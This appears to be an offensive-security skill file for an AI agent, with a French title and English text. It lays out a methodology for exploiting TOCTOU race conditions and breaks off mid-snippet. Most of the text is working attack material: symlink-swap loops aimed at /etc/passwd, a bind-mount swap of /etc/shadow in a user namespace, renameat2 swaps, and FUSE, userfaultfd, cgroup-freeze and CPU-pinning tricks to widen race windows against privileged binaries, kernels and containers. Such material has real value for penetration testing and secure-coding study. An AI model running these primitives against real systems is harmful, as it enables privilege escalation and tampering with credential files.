Toc-toc offensif
/SKILLMéthodologie d'exploitation des conditions de concurrence de type « Time-of-Check / Time-of-Use » (TOCTOU) à travers les couches binaire, noyau, système de fichiers, Web et conteneurs.
name: offensive-toctou
description: "Time-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open/access/stat split), file-descriptor races, fopen/realpath traversal races, /proc and procfs races, FUSE-backed slow-fs races to widen the window, ptrace and signal races, kernel double-fetch / userspace pointer races, container/runc/symlink escape primitives, kubernetes admission/authz TOCTOU, web auth-vs-authz TOCTOU, JWT-claim TOCTOU at gateway vs service, payment/idempotency races, and modern race-amplification techniques (single-packet attack, slow loris, FUSE pause, cgroup freeze, scheduler shaping). Use when you've identified a 'check then act' pattern in code, when fuzzing for race conditions, or when exploiting concurrency bugs in privileged binaries / kernel / orchestrators."
TOCTOU — Time-of-Check / Time-of-Use Exploitation
A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.
Quick Workflow
- Identify the check (syscall, function, validation step) and the use (the privileged action)
- Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
- Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
- Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
- Run a tight loop and confirm the post-use state corresponds to the swapped target
The Core Pattern
// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.
The fix is always: operate on the kernel object, not the path. Use O_NOFOLLOW, openat with AT_SYMLINK_NOFOLLOW, fstat on the FD, etc.
Filesystem TOCTOU
Symlink Swap (Classic)
# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
# Race loop
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; donerenameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);RENAME_EXCHANGE swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.
Directory Swap (mv between two prepared trees)
When the victim resolves parent/file, swap parent itself:
mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one sideBind Mount / Mount-Namespace Swap (root-only or in user-ns)
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; doneIn containerized contexts with CAP_SYS_ADMIN in a user namespace, this is the foundation of multiple runc/CVE escape chains.
Window-Widening Primitives
The race is always winnable in theory; in practice you need the window large enough for your swap.
FUSE-Backed Slow Filesystem
Mount a FUSE filesystem you control. When the victim does open or stat, your handler sleeps:
# fusepy
class SlowFS(Operations):
def getattr(self, path, fh=None):
if path == '/trigger':
time.sleep(5) # stretch the check
return os.lstat(self.root + path).__dict__Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.
Userfaultfd (kernel-level page faults)
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, ®);userfaultfd can pause a kernel-side copy_from_user mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires vm.unprivileged_userfaultfd=1 (off by default in many distros).
Cgroup Freeze
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resumeSingle-CPU Pinning + sched_yield
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
//